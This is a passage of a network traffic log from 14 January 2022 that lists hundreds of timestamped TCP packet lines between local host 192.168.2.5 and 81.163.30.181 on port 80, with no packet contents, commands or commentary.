Jan 14, 2022 21:06:06.965615988 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965631008 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965641975 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965652943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965661049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965676069 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965683937 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965698957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965708971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965720892 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965724945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965744019 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965751886 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965765953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965780973 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965787888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965797901 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965811014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965817928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965831995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965846062 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965866089 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965871096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965894938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965904951 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965915918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965919971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965939045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965950012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965961933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965965986 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965984106 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965996027 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966006994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966012001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966031075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966041088 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966053009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966056108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966075897 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966083050 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966098070 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966109037 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966121912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966125965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966145039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966154099 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966169119 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966177940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966192007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966197014 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966214895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966223001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966237068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966243982 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966259956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966268063 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966283083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966295004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966305017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966311932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966327906 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966336012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966348886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966356039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966372013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966379881 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966393948 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966396093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966414928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966423988 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966438055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966442108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966459990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966478109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966483116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966506004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966506004 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966525078 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966531038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966538906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966552973 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966563940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966576099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966589928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966597080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966619015 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966619968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966639042 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966644049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966658115 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966665983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966686964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966687918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966706038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966711044 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966721058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966732979 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966741085 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966754913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966763020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966777086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966778994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966799021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966806889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966820955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966831923 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966844082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966850042 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966867924 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966886997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966888905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966913939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966933012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966936111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966938972 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966958046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966970921 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.966984987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.966999054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967008114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967015982 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967030048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967036963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967052937 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967061996 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967075109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967078924 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967097998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967106104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967120886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967135906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967143059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967154026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967165947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967174053 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967195988 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967199087 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967217922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967228889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967240095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967250109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967262983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967269897 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967283964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967294931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967305899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967317104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967328072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967339039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967350006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967360020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967371941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967379093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967394114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967405081 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967416048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967425108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967439890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967447996 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967461109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967473030 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967483997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967492104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967504978 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967511892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967526913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967536926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967547894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967556953 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967570066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967580080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967592001 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967596054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967614889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967623949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967636108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967643023 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967658043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967662096 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967679977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967689991 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967700005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967706919 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967720985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967726946 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967742920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967751980 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967765093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967768908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967787981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967794895 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967808962 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967818975 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967829943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967839956 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967852116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967859983 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967873096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967885017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967894077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967901945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967916012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967927933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967936993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967946053 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967959881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967967987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.967981100 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.967993021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968003035 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968014956 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968024969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968034983 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968046904 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968051910 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968069077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968076944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968091011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968101025 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968112946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968121052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968136072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968143940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968158007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968166113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968180895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968189955 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968203068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968205929 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968224049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968235016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968245983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.968255043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.968271017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018001080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018030882 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018050909 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018054962 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018066883 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018078089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018084049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018104076 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018152952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018174887 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018187046 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018209934 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018404007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018426895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018438101 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018450022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018466949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018474102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018484116 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018498898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018507004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018522978 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018542051 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018543959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018568039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018568039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018589020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018591881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018604040 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018615961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018625975 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018640995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018644094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018663883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018677950 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018687963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018707037 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018712044 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018722057 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018734932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018754959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018759012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018781900 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018781900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018805981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018805981 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018825054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018830061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018841982 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018853903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018863916 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018877029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018882036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018901110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018918037 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018923044 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018944979 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018944979 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018961906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018968105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.018979073 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.018990040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019005060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019011974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019023895 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019035101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019045115 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019057989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019068003 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019081116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019089937 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019104958 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019109964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019128084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019136906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019154072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019170046 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019175053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019196033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019197941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019215107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019222021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019231081 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019244909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019253969 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019268036 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019272089 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019289970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019299984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019311905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019315958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019334078 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019351959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019356966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019380093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019380093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019398928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019402981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019417048 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019426107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019434929 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019449949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019453049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.019471884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.019481897 CET	49908	80	192.168.2.5	81.163.30.181
